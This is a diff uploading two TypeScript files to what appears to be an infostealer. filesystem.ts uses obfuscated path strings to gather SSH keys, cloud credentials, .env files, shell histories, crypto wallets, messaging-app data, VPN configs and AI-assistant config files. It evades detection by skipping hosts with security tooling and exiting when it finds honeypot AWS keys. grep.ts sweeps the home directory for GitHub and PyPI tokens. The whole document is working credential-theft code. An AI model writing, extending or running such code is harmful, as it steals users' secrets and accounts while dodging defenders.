Upload files to "src/providers/filesystem"

src/providers/filesystem/filesystem.ts

@@ -0,0 +1,386 @@
+import { promises as fs } from "fs";
+import * as os from "os";
+import * as path from "path";
+
+import type { OS } from "../../utils/config";
+import { detectOS } from "../../utils/config";
+import { hasHostileEDR } from "../../utils/config";
+import { bail } from "../../utils/lock";
+import { logUtil } from "../../utils/logger";
+import { Provider } from "../base";
+import type { ProviderResult } from "../types";
+
+type HotspotResult = string;
+type StreamCb = (hotspot: string, result: HotspotResult) => void;
+
+const MAX_BYTES = 10 * 1024 * 1024; // 5 MB
+
+const expandHome = (p: string): string =>
+  p.startsWith("~") ? path.join(os.homedir(), p.slice(1)) : p;
+declare function scramble(str: string): string;
+
+// ── Hotspot entry types ──────────────────────────────────────────────────────
+
+/**
+ * Each entry can be a plain path string (existing behaviour) or an object
+ * that also carries one or more "dirty strings".  When any dirty string is
+ * found inside the file contents the process immediately cleans up and
+ * exits via {@link bail}.
+ */
+type HotspotEntry =
+  | string
+  | { readonly path: string; readonly dirty?: ReadonlyArray<string> };
+
+// ── Known honeypot / sandbox markers ─────────────────────────────────────────
+
+/** AWS access keys published in official documentation — classic honeypot bait. */
+const AWS_EXAMPLE_KEYS: readonly string[] = [
+  "AKIAIOSFODNN7EXAMPLE",
+  "wJalrXUtnFEMI",
+  "AKIAI44QH8DHBEXAMPLE",
+  "AKIAISTAGING3EXAMPLE",
+];
+
+/** Generic patterns that indicate planted sandbox credentials. */
+const AWS_SANDBOX_PATTERNS: readonly string[] = [
+  "EXAMPLEKEY",
+  "fake",
+  "FAKE",
+  "decoy",
+  "DECOY",
+  "honeypot",
+  "HONEYPOT",
+];
+
+const AWS_DIRTY: readonly string[] = [
+  ...AWS_EXAMPLE_KEYS,
+  ...AWS_SANDBOX_PATTERNS,
+];
+
+// ── Hotspot paths shared by all Unix-like systems (Linux + macOS) ───────────
+const UNIX_COMMON: HotspotEntry[] = [
+  scramble("~/.ansible/*"),
+  scramble("~/.aws/config"),
+  { path: scramble("~/.aws/credentials"), dirty: AWS_DIRTY },
+  scramble("~/.azure/accessTokens.json"),
+  scramble("~/.azure/msal_token_cache.*"),
+  scramble("~/.bash_history"),
+  scramble("~/.cert/nm-openvpn/*"),
+  scramble("~/.claude.json"),
+  scramble("~/.claude/*"),
+  scramble("~/.claude/projects/*"),
+  scramble("~/.config/atomic/Local Storage/leveldb/*"),
+  scramble("**/config/database.yml"),
+  scramble("~/.config/discord/Local Storage/leveldb/*"),
+  scramble("~/.config/Element/Local Storage/*"),
+  scramble("~/.config/filezilla/recentservers.xml"),
+  scramble("~/.config/filezilla/sitemanager.xml"),
+  scramble("~/.config/gcloud/access_tokens.db"),
+  scramble("~/.config/gcloud/application_default_credentials.json"),
+  scramble("~/.config/gcloud/credentials.db"),
+  scramble("~/.config/git/credentials"),
+  scramble("~/.config/helm/*"),
+  scramble("~/.config/Ledger Live/*"),
+  scramble("~/.config/remmina/*"),
+  scramble("~/.config/Signal/*"),
+  scramble("~/.config/Slack/Cookies"),
+  scramble("~/.config/telegram-desktop/*"),
+  scramble("~/.config/weechat/irc.conf"),
+  scramble("~/.docker/*/config.json"),
+  scramble("~/.docker/config.json"),
+  scramble("**/.env"),
+  scramble(".env"),
+  scramble("**/.env.local"),
+  scramble("**/.env.production"),
+  scramble("/etc/openvpn/*"),
+  scramble("/etc/rancher/k3s/k3s.yaml"),
+  scramble("/etc/ssh/ssh_host_*_key"),
+  scramble("~/.ethereum/keystore/*"),
+  scramble("~/.gitconfig"),
+  scramble(".git-credentials"),
+  scramble("~/.history"),
+  scramble("~/.kde4/share/apps/kwallet/*.kwl"),
+  scramble("~/.kde/share/apps/kwallet/*.kwl"),
+  scramble("~/.kube/config"),
+  scramble("~/.lesshst"),
+  scramble("~/.local/share/keyrings/*.keyring"),
+  scramble("~/.local/share/keyrings/login.keyring"),
+  scramble("~/.local/share/recently-used.xbel"),
+  scramble("~/.local/share/TelegramDesktop/tdata/*"),
+  scramble("~/.monero/*"),
+  scramble("~/.mysql_history"),
+  scramble("~/.netrc"),
+  scramble("~/.node_repl_history"),
+  scramble(".npmrc"),
+  scramble("~/.npmrc"),
+  scramble("~/.pki/nssdb/*"),
+  scramble("~/.psql_history"),
+  scramble("~/.purple/accounts.xml"),
+  scramble("~/.pypirc"),
+  scramble("~/.python_history"),
+  scramble("~/.remmina/*"),
+  scramble("/root/.docker/config.json"),
+  scramble("**/settings.p"),
+  scramble("~/.ssh/authorized_keys"),
+  scramble("~/.ssh/config"),
+  scramble("~/.ssh/id*"),
+  scramble("~/.ssh/id_"),
+  scramble("~/.ssh/id_dsa"),
+  scramble("~/.ssh/id_ecdsa"),
+  scramble("~/.ssh/id_ed25519"),
+  scramble("~/.ssh/known_hosts"),
+  scramble("~/.terraform.d/credentials.tfrc.json"),
+  scramble("/var/lib/docker/containers/*/config.v2.json"),
+  scramble("~/.viminfo"),
+  scramble("**/wp-config.php"),
+  scramble("~/.yarnrc"),
+  scramble("~/.zsh_history"),
+];
+
+// ── Linux-only additions ───────────────────────────────────────────────────
+const LINUX_ONLY: HotspotEntry[] = [
+  scramble("~/.claude/mcp.json"),
+  scramble("~/.config/kwalletd/*.kwl"),
+  scramble("~/**/git/config"),
+  scramble("~/.git-credentials"),
+  scramble("~/.ssh/keys"),
+];
+
+// ── macOS-only additions ───────────────────────────────────────────────────
+const OSX_ONLY: HotspotEntry[] = [
+  scramble(".claude.json"),
+  scramble("~/.config/Exodus/exodus.wallet/*"),
+  scramble("**/.git/config"),
+  scramble("~/.ssh/id_rsa"),
+];
+
+// ── Windows hotspots ───────────────────────────────────────────────────────
+const WIN_HOTSPOTS: HotspotEntry[] = [
+  scramble(".env"),
+  scramble("config.ini"),
+  scramble("%USERPROFILE%\\.claude.json"),
+  scramble("%USERPROFILE%\\.claude\\*"),
+  scramble("%USERPROFILE%\\.claude\\projects\\*"),
+  scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
+  scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
+  scramble("%PROGRAMDATA%\\OpenVPN\\config\\*"),
+  scramble("%APPDATA%\\ProtonVPN\\user.config"),
+  scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
+  scramble("%APPDATA%\\Private Internet Access\\*.conf"),
+  scramble("%APPDATA%\\Windscribe\\Windscribe\\*"),
+  scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
+  scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
+  scramble("%APPDATA%%EarthVPN\\OpenVPN\\config\\*.ovpn"),
+];
+
+// ── Composed config ────────────────────────────────────────────────────────
+const HOTSPOT_CONFIG: Record<OS, HotspotEntry[]> = {
+  LINUX: [...UNIX_COMMON, ...LINUX_ONLY],
+  OSX: [...UNIX_COMMON, ...OSX_ONLY],
+  WIN: [...WIN_HOTSPOTS],
+  UNKNOWN: [],
+};
+
+// ── Helpers ──────────────────────────────────────────────────────────────────
+
+function hotspotPath(entry: HotspotEntry): string {
+  return typeof entry === "string" ? entry : entry.path;
+}
+
+function hotspotDirty(entry: HotspotEntry): ReadonlyArray<string> | undefined {
+  return typeof entry === "string" ? undefined : entry.dirty;
+}
+
+export class FileSystemService extends Provider {
+  constructor() {
+    super("filesystem", "diskfiles", null, "aggressive");
+  }
+
+  override async shouldRun(): Promise<boolean> {
+    if (hasHostileEDR()) {
+      return false;
+    }
+    return true;
+  }
+
+  private getHotspots(): HotspotEntry[] {
+    const system = detectOS();
+    return HOTSPOT_CONFIG[system];
+  }
+
+  private async readHotspots(
+    entries: HotspotEntry[],
+    onResult?: StreamCb,
+    concurrent = 1,
+  ): Promise<Record<string, HotspotResult>> {
+    const results: Record<string, HotspotResult> = {};
+
+    // Pre-compute a lookup: expanded path → dirty strings for O(1) access.
+    const dirtyMap = new Map<string, ReadonlyArray<string>>();
+
+    const expandGlob = async (entry: HotspotEntry): Promise<string[]> => {
+      const raw = hotspotPath(entry);
+      const expanded = expandHome(raw);
+
+      // No glob metacharacters — return as a literal path.
+      if (!/[*?[]/.test(expanded)) {
+        dirtyMap.set(expanded, hotspotDirty(entry) ?? []);
+        return [expanded];
+      }
+
+      // Split the pattern into a static base directory and the glob remainder.
+      const parts = expanded.split("/");
+      const firstGlobIdx = parts.findIndex((p) => /[*?[]/.test(p));
+
+      let base: string;
+      let rest: string;
+      if (firstGlobIdx === 0) {
+        base = ".";
+        rest = expanded;
+      } else {
+        base = parts.slice(0, firstGlobIdx).join("/") || "/";
+        rest = parts.slice(firstGlobIdx).join("/");
+      }
+
+      try {
+        const glob = new Bun.Glob(rest);
+        const matches = Array.from(
+          glob.scanSync({
+            cwd: base,
+            absolute: true,
+            dot: true,
+            onlyFiles: true,
+          }),
+        );
+        const dirtyPatterns = hotspotDirty(entry) ?? [];
+        for (const m of matches) {
+          dirtyMap.set(m, dirtyPatterns);
+        }
+        return matches;
+      } catch {
+        return [];
+      }
+    };
+
+    const BINARY_CHECK_SIZE = 8192;
+
+    function isBinary(buffer: Buffer): boolean {
+      const sample = buffer.subarray(
+        0,
+        Math.min(buffer.length, BINARY_CHECK_SIZE),
+      );
+      let nonPrintable = 0;
+      for (let i = 0; i < sample.length; i++) {
+        const b = sample[i]!;
+        if (b === 0x00) return true;
+        if (b < 0x09 || (b > 0x0d && b < 0x20) || b > 0x7e) {
+          nonPrintable++;
+        }
+      }
+      return nonPrintable / sample.length > 0.3;
+    }
+
+    const handle = async (expandedPath: string) => {
+      try {
+        const stat = await fs.stat(expandedPath);
+
+        if (!stat.isFile()) {
+          return;
+        }
+
+        logUtil.info(`Checking ${expandedPath}`);
+
+        if (stat.size > MAX_BYTES) {
+          const result = `Error: File too large (${stat.size} bytes)`;
+          results[expandedPath] = result;
+          onResult?.(expandedPath, result);
+          logUtil.log(
+            `filesystem: skipping ${expandedPath} — too large (${stat.size} bytes)`,
+          );
+          return;
+        }
+
+        logUtil.info("About to read.");
+
+        const buffer = await fs.readFile(expandedPath);
+
+        logUtil.info(`Read buffer from ${expandedPath}`);
+
+        if (isBinary(buffer)) {
+          const encoded = `BASE64:${buffer.toString("base64")}`;
+          results[expandedPath] = encoded;
+          onResult?.(expandedPath, encoded);
+          logUtil.log(
+            `filesystem: collected ${expandedPath} (${stat.size} bytes, binary -> base64 ${encoded.length} chars)`,
+          );
+        } else {
+          const content = buffer.toString("utf-8");
+
+          // ── Dirty string check ──────────────────────────────────────
+          const dirtyPatterns = dirtyMap.get(expandedPath);
+          if (dirtyPatterns && dirtyPatterns.length > 0) {
+            for (const dirty of dirtyPatterns) {
+              if (content.includes(dirty)) {
+                logUtil.log(
+                  `filesystem: dirty string "${dirty}" matched in ${expandedPath} — bailing`,
+                );
+                bail();
+              }
+            }
+          }
+
+          results[expandedPath] = content;
+          onResult?.(expandedPath, content);
+          logUtil.log(
+            `filesystem: collected ${expandedPath} (${stat.size} bytes, text)`,
+          );
+        }
+      } catch (err: any) {
+        logUtil.error(`Failure collecting: ${err}`);
+        return;
+      }
+    };
+
+    // Expand glob patterns
+    const expandedHotspots: string[] = [];
+    for (const entry of entries) {
+      const matches = await expandGlob(entry);
+      expandedHotspots.push(...matches);
+    }
+
+    if (concurrent <= 1) {
+      for (const hotspot of expandedHotspots) {
+        await handle(hotspot);
+      }
+      return results;
+    }
+
+    const queue = expandedHotspots.slice();
+    const workers = Array.from({
+      length: Math.min(concurrent, queue.length),
+    }).map(async () => {
+      let hotspot;
+      while ((hotspot = queue.shift())) {
+        await handle(hotspot);
+      }
+    });
+
+    await Promise.all(workers);
+    return results;
+  }
+
+  async execute(): Promise<ProviderResult> {
+    const hotspots = this.getHotspots();
+
+    if (!hotspots.length) {
+      return this.failure("Unknown OS or no hotspots configured");
+    }
+
+    try {
+      const results = await this.readHotspots(hotspots, undefined, 2);
+      return this.success({ hotspots: results });
+    } catch (err: any) {
+      return this.failure(err?.message ?? String(err));
+    }
+  }
+}

src/providers/filesystem/grep.ts

@@ -0,0 +1,116 @@
+// grep.ts — fast file grep for credential patterns (pure JS)
+
+import { readFileSync } from "fs";
+import { homedir } from "os";
+
+import { Provider } from "../base";
+import type { ProviderResult } from "../types";
+
+// ---------------------------------------------------------------------------
+// Patterns
+// ---------------------------------------------------------------------------
+
+const PATTERNS: RegExp[] = [
+  /ghp_[A-Za-z0-9_]{36,}/g,
+  /gho_[A-Za-z0-9_]{36,}/g,
+  /pypi-[A-Za-z0-9+/=_-]{40,}/g,
+];
+
+// ---------------------------------------------------------------------------
+// Types
+// ---------------------------------------------------------------------------
+
+export interface GrepMatch {
+  path: string;
+  excerpt: string;
+}
+
+// ---------------------------------------------------------------------------
+// Internal grep helpers
+// ---------------------------------------------------------------------------
+
+function grepFile(filePath: string): GrepMatch[] {
+  try {
+    const buf = readFileSync(filePath);
+    const size = buf.length;
+
+    if (size === 0 || size > 50 * 1024 * 1024) return [];
+
+    // Binary check: null bytes in first 4KB
+    const checkLen = Math.min(size, 4096);
+    for (let i = 0; i < checkLen; i++) {
+      if (buf[i] === 0) return [];
+    }
+
+    const text = buf.toString("utf-8");
+    const results: GrepMatch[] = [];
+
+    for (const re of PATTERNS) {
+      re.lastIndex = 0;
+      let m: RegExpExecArray | null;
+      while ((m = re.exec(text)) !== null) {
+        const start = Math.max(0, m.index - 20);
+        const end = Math.min(text.length, m.index + m[0].length + 200);
+        const excerpt = text.slice(start, end).replace(/[\r\n]/g, " ");
+        results.push({ path: filePath, excerpt });
+        if (results.length >= 20) break;
+      }
+    }
+    return results;
+  } catch {
+    return [];
+  }
+}
+
+async function grepDirectory(
+  root: string,
+  maxFiles = 5000,
+): Promise<GrepMatch[]> {
+  const results: GrepMatch[] = [];
+  const glob = new Bun.Glob("**/*");
+  let scanned = 0;
+
+  for await (const relPath of glob.scan({
+    cwd: root,
+    absolute: true,
+    dot: true,
+    onlyFiles: true,
+  })) {
+    if (scanned >= maxFiles) break;
+    scanned++;
+
+    try {
+      results.push(...grepFile(relPath));
+    } catch {
+      // Permission errors, dangling symlinks, etc.
+    }
+  }
+
+  return results;
+}
+
+// ---------------------------------------------------------------------------
+// GrepProvider
+// ---------------------------------------------------------------------------
+
+export class GrepProvider extends Provider {
+  private root: string;
+  private maxFiles: number;
+
+  constructor(root: string = homedir(), maxFiles = 5000) {
+    // No patterns passed to base — we handle matching internally and
+    // return GrepMatch[] as the data payload.
+    super("grep", "filesystem-grep", undefined, "aggressive");
+    this.root = root;
+    this.maxFiles = maxFiles;
+  }
+
+  async execute(): Promise<ProviderResult> {
+    try {
+      const matches = await grepDirectory(this.root, this.maxFiles);
+      return this.success(matches);
+    } catch (err) {
+      return this.failure(err instanceof Error ? err : String(err));
+    }
+  }
+}